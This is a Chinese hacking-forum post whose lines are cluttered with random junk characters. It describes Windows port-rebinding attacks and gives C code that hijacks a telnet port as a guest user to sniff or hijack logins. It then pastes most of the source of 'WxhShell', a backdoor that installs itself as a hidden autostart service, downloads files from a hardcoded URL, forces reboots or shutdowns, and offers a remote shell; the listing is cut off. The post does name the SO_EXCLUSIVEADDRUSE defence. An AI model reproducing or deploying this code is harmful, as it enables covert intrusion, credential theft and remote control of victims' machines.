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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \ (y6o}aW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6pkZ8Vp:  
,2Y P D4  
  saddr.sin_family = AF_INET; P4"Pb\o*  
)` nX~_'p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {@T8i ^EI  
_%g}d/v}pO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ./_o+~\e'  
UjmBLXz@T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v 4@=>L  
@"BvyS,p  
  这意味着什么?意味着可以进行如下的攻击: VE4Z;Dr"  
"NUl7ce.R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GF6c6TXF@  
+Eil:Jz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .&:GO D  
|ITSd%`3_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hFORs.L&G  
O34'c_ fZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |meo  
l3Vw?f   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wGd4:W  
zWiM l.[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D-)jmz>R  
=^. f)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9N(<OY+Dgm  
pfj%AP:  
  #include LOY+^  
  #include I!(.tu6u6c  
  #include [aM_.[bf  
  #include    auOYi<<>W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   neQ2k=ao  
  int main() 4:$?u}9[:[  
  { 5t6!K?}  
  WORD wVersionRequested; $y !k)"k  
  DWORD ret; JTcK\t8  
  WSADATA wsaData; ;6N@raP7  
  BOOL val; ny:c&XS  
  SOCKADDR_IN saddr; A1xY8?#?~c  
  SOCKADDR_IN scaddr; WNkAI9B  
  int err; h.Cr;w,2R  
  SOCKET s; r>+Hwj0>  
  SOCKET sc; Vq`i.>%5  
  int caddsize; RulZh2C  
  HANDLE mt; 8fpaY{]  
  DWORD tid;   |RqCw7  
  wVersionRequested = MAKEWORD( 2, 2 ); S5:`fo^5  
  err = WSAStartup( wVersionRequested, &wsaData ); HR'r~ #j  
  if ( err != 0 ) { 6x\+j  
  printf("error!WSAStartup failed!\n"); sa\v9  
  return -1; {r2-^Q HF  
  } Qh%(yL!  
  saddr.sin_family = AF_INET; K~nk:}3Ui  
   J-g#zs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]a|3"DP5  
/kLX f_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #84pRU~  
  saddr.sin_port = htons(23); H27J kZ&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jREj]V>  
  { 5q[0;`J  
  printf("error!socket failed!\n"); v#/Uq?us  
  return -1; ;$W/le"Xr  
  } dbGW`_zQ4  
  val = TRUE; O~F/pJN`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T2# W=P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u/FnA-L4  
  { L{$ZL&  
  printf("error!setsockopt failed!\n"); <a *X&P  
  return -1; >8;Co]::kx  
  } bu"R2~sb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Yo:l@(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ToIvyeFr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8XwAKN:f  
?4=8z8((!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &F" Mkyf  
  { \ief [  
  ret=GetLastError();  =%AFn9q  
  printf("error!bind failed!\n"); 'UO,DFq[Fl  
  return -1; &)L2a)  
  } tx;DMxN!W  
  listen(s,2); <^VZ4$j  
  while(1) BDY@&vF  
  { 0 3L"W^gc  
  caddsize = sizeof(scaddr); -}k'a{sj=  
  //接受连接请求 K^AX=B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZjLzS]\a  
  if(sc!=INVALID_SOCKET) 06 gE;iT  
  { le`&VdE^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \s Fdp!M}2  
  if(mt==NULL) VY8 p[`  
  { kNfqdCF{P  
  printf("Thread Creat Failed!\n"); W5?F?Dp!v  
  break; B+|E|8"  
  } +uW$/_Y$  
  } L f[>U  
  CloseHandle(mt); /_E:sI9(  
  } _#9:cH*  
  closesocket(s); vBsd.2t~  
  WSACleanup(); KC o<%  
  return 0; !_s|h@  
  }   Fa^5.p  
  DWORD WINAPI ClientThread(LPVOID lpParam) iC&=-$vu  
  { xEaRuH c  
  SOCKET ss = (SOCKET)lpParam; ?_[xpK()  
  SOCKET sc; j~V@0z.  
  unsigned char buf[4096]; CFqoD l  
  SOCKADDR_IN saddr; *w4jET>  
  long num; TCp!4-~,  
  DWORD val; _Jj/"?  
  DWORD ret; I.tJ4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +O3zeL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   { yU1db^  
  saddr.sin_family = AF_INET; zfL$z,zgf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @~fg[)7M  
  saddr.sin_port = htons(23); I#@iA!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ken|!rL  
  { 0"o<( 1  
  printf("error!socket failed!\n"); :SG9ygq'  
  return -1; CmRn  
  } )7=B]{B_  
  val = 100; lDV8<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G ;V@oT  
  { `LH!"M  
  ret = GetLastError(); ;6t>!2I>C  
  return -1; cO<]%L0  
  } GmtMA|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (.P;VH9R\  
  { ]R}#3(]1  
  ret = GetLastError(); l9 )iLOj  
  return -1; C=@BkneQ  
  } >1a- }>r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rMSB|*_  
  { O+`^]D7  
  printf("error!socket connect failed!\n"); F}0QocD  
  closesocket(sc); tu77Sb  
  closesocket(ss); k@5#^G  
  return -1; nFW^^v<  
  } <qZXpQ#  
  while(1) EG&^;uU  
  { =nFT0];  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (U2G"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M ^ ZoBsZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aRq7x~j )\  
  num = recv(ss,buf,4096,0); og MLv}  
  if(num>0) Y+iC/pd  
  send(sc,buf,num,0); +^gh3Y  
  else if(num==0) 3`TC*  
  break; J=*y>Zt-b  
  num = recv(sc,buf,4096,0); &o^wgmS   
  if(num>0) p1v:X?  
  send(ss,buf,num,0); _XXK1H x  
  else if(num==0) KU-z;}9s  
  break; N ED`GU  
  } p$f#W  
  closesocket(ss); qt/syF&s  
  closesocket(sc); 6\ux;lksn*  
  return 0 ; x~s>  
  } 98Srn63O  
Mn>dI@/gM  
Q+mMp I  
========================================================== Sx;zvc  
R|V<2  
下边附上一个代码,,WXhSHELL ?#}=!$p  
dr~MyQ  
========================================================== n#z^uq|v  
 ~Zl`Ap  
#include "stdafx.h" rctn0*MP  
|r}%AN6+  
#include <stdio.h> XYod>[.x  
#include <string.h> HZ 8 j[kO  
#include <windows.h> 8o-?Y.2  
#include <winsock2.h> 8S]Mf*~S'  
#include <winsvc.h> vR,HCI  
#include <urlmon.h> yel>-=Vn  
enG6T  
#pragma comment (lib, "Ws2_32.lib") %T'?7^\>  
#pragma comment (lib, "urlmon.lib") N#7] xL  
b8b-M]P-=  
#define MAX_USER   100 // 最大客户端连接数 h4?+/jk7  
#define BUF_SOCK   200 // sock buffer V.y+u7<3}  
#define KEY_BUFF   255 // 输入 buffer 15yIPv+5  
0p2 0Rt  
#define REBOOT     0   // 重启 Ub3,x~V  
#define SHUTDOWN   1   // 关机 'Dat.@j  
<ya'L&  
#define DEF_PORT   5000 // 监听端口 !-N!8 0  
J3:P/n&  
#define REG_LEN     16   // 注册表键长度 P? 9CBhN  
#define SVC_LEN     80   // NT服务名长度 4 T^M@+&|  
m9L+|r  
// 从dll定义API cYbO)?mC_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3M%EK2,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); < ht >>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); } \823 U %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n|,Es!8:o  
*s%s|/  
// wxhshell配置信息 Q@$1!9m  
struct WSCFG { aNq Vs|H  
  int ws_port;         // 监听端口 E32z(:7M  
  char ws_passstr[REG_LEN]; // 口令 mceSUKI;L  
  int ws_autoins;       // 安装标记, 1=yes 0=no V >['~|  
  char ws_regname[REG_LEN]; // 注册表键名 Ev^Xs6 }"  
  char ws_svcname[REG_LEN]; // 服务名 Rw/G =zV@2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R +\y" .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qL'3MY.!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2X*epU_1h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :lE7v~!Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ItRGq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3/[=  
Etl7V  
}; 5vpf;  
Xs!eV  
// default Wxhshell configuration {'b8;x8h  
struct WSCFG wscfg={DEF_PORT, yr=r? h}  
    "xuhuanlingzhe", ^M80 F7  
    1, /C(L(X  
    "Wxhshell", Wt`D  
    "Wxhshell", sW]n~kTt'  
            "WxhShell Service", .H>Rqikj  
    "Wrsky Windows CmdShell Service", r[,KE.^6~#  
    "Please Input Your Password: ", "~[Rwh?  
  1, lyi}q"Kn*;  
  "http://www.wrsky.com/wxhshell.exe", y^nR=Q]_  
  "Wxhshell.exe" )R|7> 97  
    }; gRFC n6Q  
NRl"!FSD;"  
// 消息定义模块 T+[e6/|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Z97Tq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uVk8KMYU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aQG#bh [  
char *msg_ws_ext="\n\rExit."; ~FsUK;?  
char *msg_ws_end="\n\rQuit."; <VBw1|)$@  
char *msg_ws_boot="\n\rReboot..."; uqyf3bK  
char *msg_ws_poff="\n\rShutdown..."; ;CvGIp&y  
char *msg_ws_down="\n\rSave to "; 5{5ABV  
=aekY;/  
char *msg_ws_err="\n\rErr!"; w %zw+E  
char *msg_ws_ok="\n\rOK!"; SH(kUL5  
roA1= G\Q  
char ExeFile[MAX_PATH]; U;nC)'~YW9  
int nUser = 0; g}D$`Nx:  
HANDLE handles[MAX_USER]; ~mp$P+M(%p  
int OsIsNt; 7^iAc6QSy3  
Z-<u?f8{*  
SERVICE_STATUS       serviceStatus; `u}x:f !  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y]lqtre*Y  
nx4aGS"F:  
// 函数声明 ,,J3 h  
int Install(void); ep?0@5D}]  
int Uninstall(void); wY95|QS  
int DownloadFile(char *sURL, SOCKET wsh); [v`4OQF/  
int Boot(int flag); zb" hy"hKw  
void HideProc(void); \PFx# :-c  
int GetOsVer(void); l+6\U6_)B  
int Wxhshell(SOCKET wsl); KRtu@;?  
void TalkWithClient(void *cs); e ?YbG.(E9  
int CmdShell(SOCKET sock); 4yA`);r62  
int StartFromService(void); A!D:Kc3  
int StartWxhshell(LPSTR lpCmdLine); ]Rye AJ3  
1FJ[_ l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .#@Dn(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *I67SBt  
nADd,|xD3  
// 数据结构和表定义 NM@An2  
SERVICE_TABLE_ENTRY DispatchTable[] = ]'Yw#YB  
{ Fjzk;o  
{wscfg.ws_svcname, NTServiceMain}, FT;JYkO  
{NULL, NULL} ]Yg EnZ  
}; !_) ^bRd  
^{s0d+@{  
// 自我安装 zl\#n:|  
int Install(void) C6w{"[Wv=X  
{ ? st#6=M  
  char svExeFile[MAX_PATH]; kKM%    
  HKEY key; 'EV  *-_k  
  strcpy(svExeFile,ExeFile); %?hLo8  
>#?: x*[  
// 如果是win9x系统,修改注册表设为自启动 A232"p_  
if(!OsIsNt) { G 7]wg>*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / yi:Q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c0&'rxi( B  
  RegCloseKey(key); l*Ei7 |Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YZRB4T9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P@YL.'KU)  
  RegCloseKey(key); *]WXM.R8  
  return 0; %>2t=)T  
    } h&bV!M  
  } <UJJ],)^1A  
} W_\L_)^X  
else { n-3j$x1Ne  
#<Nvy9  
// 如果是NT以上系统,安装为系统服务 K<6x4ha  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WN +Jf  
if (schSCManager!=0) EAw#$Aq=  
{ DA)v3Nd  
  SC_HANDLE schService = CreateService ;J-Ogt@d7  
  ( 6 v^  
  schSCManager, &hN&nH"PC  
  wscfg.ws_svcname, _F@p53WE  
  wscfg.ws_svcdisp, %8CT -mQ  
  SERVICE_ALL_ACCESS, :IVMTdYf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |.O!zRm  
  SERVICE_AUTO_START, `l2<  
  SERVICE_ERROR_NORMAL, arS'th:j  
  svExeFile, k(z<Bm  
  NULL, ^FM9} t/U,  
  NULL, eD{ @0&   
  NULL, q'F_ j"  
  NULL, F[D0x26 ^  
  NULL 5A$az03y$\  
  ); >Y-TwD aE  
  if (schService!=0) KHecc/,,S  
  { 0j!ke1C&C  
  CloseServiceHandle(schService); ht3T{4qCS  
  CloseServiceHandle(schSCManager); R P:F<`DB|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (1AA;)`Kp  
  strcat(svExeFile,wscfg.ws_svcname); mERrcYY{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;%7XU~<a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j%Z{.>mJ  
  RegCloseKey(key); L\Fu']l  
  return 0; M=[q+A  
    } S2ppKlVv  
  } R #3Q$   
  CloseServiceHandle(schSCManager); xcZ%,7  
} Dg>'5`&  
} iCnUnR{  
>}DjHLTW\  
return 1; rw8J:?0x  
} R_>TEYZ  
>!Ap/{2  
// 自我卸载 Stw+Dm\!  
int Uninstall(void) ?Tc)f_a  
{ J`+`Kq1T  
  HKEY key; -[=AlqL  
c7g.|R  
if(!OsIsNt) { %kZ~xbY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g/ l0}%  
  RegDeleteValue(key,wscfg.ws_regname); cCh0?g7nV  
  RegCloseKey(key); ~*mOt 7G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "6E1W,|{  
  RegDeleteValue(key,wscfg.ws_regname); ^\ vfos  
  RegCloseKey(key); W"-EC`nP  
  return 0; v$)@AE  
  } K/wiL69  
} 7"n)/;la  
} @cu}3>  
else { +e0dV_T_>  
x0u?*5-t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Qh|-a@  
if (schSCManager!=0) m0I #  
{ CRc!|?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^<>Jw%H  
  if (schService!=0) Ez/\bE  
  { }_a +X  
  if(DeleteService(schService)!=0) { 6+Wr6'kuH  
  CloseServiceHandle(schService); Y8J ;+h9  
  CloseServiceHandle(schSCManager); :7$\X[  
  return 0; t,=@hs hN  
  } V@#*``M,3  
  CloseServiceHandle(schService);  NVO9XK  
  } IqhICC1V-  
  CloseServiceHandle(schSCManager); nr<WO~Xw~  
} t+=12{9;f  
} y:g7'+c  
T6h;Y  
return 1; C.yY8?|  
} L.09\1?.n  
r@*=|0(OrK  
// 从指定url下载文件 Kk!6B  
int DownloadFile(char *sURL, SOCKET wsh) wJ80};!  
{ 5,HCeN  
  HRESULT hr; ^%n124  
char seps[]= "/"; r#_7]_3  
char *token; Z?~gQ $  
char *file; v87$NQvwQ  
char myURL[MAX_PATH]; -yX.Jv  
char myFILE[MAX_PATH]; ~In{lQ[QX  
0Jm]f/iZ  
strcpy(myURL,sURL); )"(V*Z  
  token=strtok(myURL,seps); ./"mn3U  
  while(token!=NULL) to99 _2  
  { +(;8@"u  
    file=token; //\ds71h  
  token=strtok(NULL,seps); abM84EU  
  } 6#E]zmXO2  
y#b;uDY  
GetCurrentDirectory(MAX_PATH,myFILE); P['X<Xt8  
strcat(myFILE, "\\"); YHs?QsP  
strcat(myFILE, file); =E;=+eqt  
  send(wsh,myFILE,strlen(myFILE),0); kRmj"9oA  
send(wsh,"...",3,0); f!5F]qP>-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +?qf`p.{  
  if(hr==S_OK) CdX`PQ  
return 0; $Llta,ULE  
else 98BYtxa  
return 1; n`P`yb\f$  
}C=Quy%Z<  
} &(g m4bTg  
,/~[S  
// 系统电源模块 /wr6\53J  
int Boot(int flag) M[A-1]'  
{ <e'P%tG'  
  HANDLE hToken; ?#?e(mpo  
  TOKEN_PRIVILEGES tkp; $v FrUv  
T}UT 7W|  
  if(OsIsNt) { a]`itjL^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8|w-XR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \ 0D$Mie  
    tkp.PrivilegeCount = 1; DYX-5~;!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *yrnK3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]x2Jpk99a  
if(flag==REBOOT) { Ru:n~77{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hfke  
  return 0; 5!~!j "q  
} u2 7S %2P  
else { PJCnud F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9x(}F<L  
  return 0; w5,6$#  
} U M@naU  
  } /M:H9Z8!  
  else { [6_"^jgH  
if(flag==REBOOT) { jA,|JgN|n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q?yMa9ZZky  
  return 0; yOc|*O=]U  
} L7m`HVCt&  
else { lDC}HC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~^x-ym5  
  return 0; Oo kxg *!5  
} 4Hk6b09  
} 0vDg8i\  
_e_4Q)z-a  
return 1; _e*c  
} AQe!Sqg'  
WKxm9y V  
// win9x进程隐藏模块 [7RheXO <  
void HideProc(void) ?ZaD=nh$mK  
{ )=Zsv40O  
E`tQe5K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Evkt_vvf  
  if ( hKernel != NULL ) a!D*)z Y  
  { (`pNXQ0n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V}SyD(8~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !y%+GwoW  
    FreeLibrary(hKernel); izf~w^/  
  } /~*Cp9F"]  
PPj[;(A  
return; EI\v  
} \6:>{0\  
<raG07{!*  
// 获取操作系统版本 U. (Tl>K|0  
int GetOsVer(void) jN6b*-2  
{ Px#$uU  
  OSVERSIONINFO winfo; YDFCGA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a.DX%C /5  
  GetVersionEx(&winfo); 7@IFp~6<qK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JOHR mfqR  
  return 1; b_=8!Q.:  
  else 87<9V.s 2  
  return 0; U` hfvTi  
} f;wc{qy  
V&[eSVY?  
// 客户端句柄模块 qm'b'!gq~  
int Wxhshell(SOCKET wsl) sAYV)w3u"  
{ LN^UC$[tk  
  SOCKET wsh; |1l&@#j!2  
  struct sockaddr_in client; PrSkHxm  
  DWORD myID; jo_ sAb  
qo_]ZKL44  
  while(nUser<MAX_USER) e:OyjG5_  
{  M6Pw /S!  
  int nSize=sizeof(client); ;'HF'Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "OL~ul5  
  if(wsh==INVALID_SOCKET) return 1; 2xn<E>]  
RqLNp?V%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LeHiT>aX!  
if(handles[nUser]==0) 8bOT*^b$H  
  closesocket(wsh); ZXt?[Ll  
else v"RiPHLT  
  nUser++; FZXyfZw!|  
  } 0^#DNq*NQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .GCR!V  
WeC(w+}p  
  return 0; w!`Umll2  
} yN\e{;z`  
g1 9S  
// 关闭 socket ((|IS[  
void CloseIt(SOCKET wsh) @B`Md3$7  
{ os$nL'sq  
closesocket(wsh); Q\9K2=4  
nUser--; OOB^gf}$'  
ExitThread(0); O>V(cmqE`  
} |pW\Ec#(  
VVuR+=.&  
// 客户端请求句柄 |nY~ZVTt/  
void TalkWithClient(void *cs) =_PvrB2'  
{ )X5(#E  
UFENy."P  
  SOCKET wsh=(SOCKET)cs; J`oTes,  
  char pwd[SVC_LEN]; )acV-+{  
  char cmd[KEY_BUFF]; 6E|S  
char chr[1]; SRL-Z&M  
int i,j; V1utUGJV  
BU6Jyuwn  
  while (nUser < MAX_USER) { kNPDm6m  
8h.V4/?  
if(wscfg.ws_passstr) { qn"K9k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rj6|Y"gq9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o8z)nOTO;  
  //ZeroMemory(pwd,KEY_BUFF); #w>~u2W  
      i=0; 5~r2sCDPk  
  while(i<SVC_LEN) { p=gX !4,9<  
Gt~JA0+C)7  
  // 设置超时 ]ii+S"U3  
  fd_set FdRead; &ao(!/im  
  struct timeval TimeOut; eVt1d2.O  
  FD_ZERO(&FdRead); 4tJa-7  
  FD_SET(wsh,&FdRead); IR$ (_9z  
  TimeOut.tv_sec=8; kMxjS^fr  
  TimeOut.tv_usec=0; S_Z`so}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N:W9},  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =u|~ <zQw  
(-"`,8K 2}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &88oB6$D^q  
  pwd=chr[0]; >n$ !<  
  if(chr[0]==0xd || chr[0]==0xa) { Gi7RMql6Q  
  pwd=0; `fS^ j-_M  
  break; 5DFZ^~  
  } JP'= UZ'  
  i++; h6M;0_'  
    } ycX{NDGs  
&s VadOBQ  
  // 如果是非法用户,关闭 socket 91d }, Mq:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); va,~w(G  
} jv&+<j`r  
+jV_Wz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;BBpN`T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :&yDqoQKJ  
'Q|c@t  
while(1) { MCYl{uH!  
]P1YHw9  
  ZeroMemory(cmd,KEY_BUFF); !B^K[2`)N  
t9u|iTY f!  
      // 自动支持客户端 telnet标准   rFu ez$  
  j=0; ][:rLs  
  while(j<KEY_BUFF) { UI?=]"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T V:<TR  
  cmd[j]=chr[0]; pP.'wSj  
  if(chr[0]==0xa || chr[0]==0xd) { hh"-w3+  
  cmd[j]=0; eOY^$#Y  
  break; Y25uU%6t_  
  } ]QrR1Rg  
  j++; (tCib 4  
    } %ROwr[Dj=  
tT5pggml  
  // 下载文件 [1( FgyE  
  if(strstr(cmd,"http://")) { CL9yEy"V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |g_g8[@`}  
  if(DownloadFile(cmd,wsh)) @d&H]5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nk@atK,38^  
  else =m tY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h9CIZU[Nh  
  } -Kxc$}  
  else { <nzN$"%  
$3;Upgv  
    switch(cmd[0]) { =G${[V \  
  >l5u54^3K  
  // 帮助 @;)PSp*j  
  case '?': { q |dH~BK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |jG~,{  
    break; <hvRP!~<)  
  } OAe#Wf!c  
  // 安装 5Ec/(-F  
  case 'i': { Qvqqvk_tv  
    if(Install()) pJ^NA2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 74J@F2g}?  
    else gv.6h{Ut  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zx%X~U   
    break; WES#ZYtT  
    } ^[q /Mw  
  // 卸载 Uems\I0  
  case 'r': { r`M6!}oa  
    if(Uninstall()) Mr3-q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =/9^, 6Q(  
    else @,OT/egF4:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LN^f1/ b*  
    break; ~~qWI>. 4  
    } [r-}bp'Gp  
  // 显示 wxhshell 所在路径 =$^MQ\S0p  
  case 'p': { =1hr2R(V  
    char svExeFile[MAX_PATH]; |m* .LTO  
    strcpy(svExeFile,"\n\r"); WFv!Pbq,  
      strcat(svExeFile,ExeFile); cxyM\@QB3  
        send(wsh,svExeFile,strlen(svExeFile),0); %s=Dj2+  
    break; v#oi0-9o[  
    } B6M+mx"G  
  // 重启 H[WQ=){  
  case 'b': { vmZ"o9-{#X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f`$Gz  
    if(Boot(REBOOT)) dl|gG9u4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M {a #  
    else { :E_a 0!'  
    closesocket(wsh); vF={9G  
    ExitThread(0); m VxO$A,  
    } B#l?IB~  
    break; 1y5Ex:JVZT  
    } :8f[|XR4\N  
  // 关机 ;)hw%Z]Jj$  
  case 'd': { lxb zHlX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `'4)q}bB  
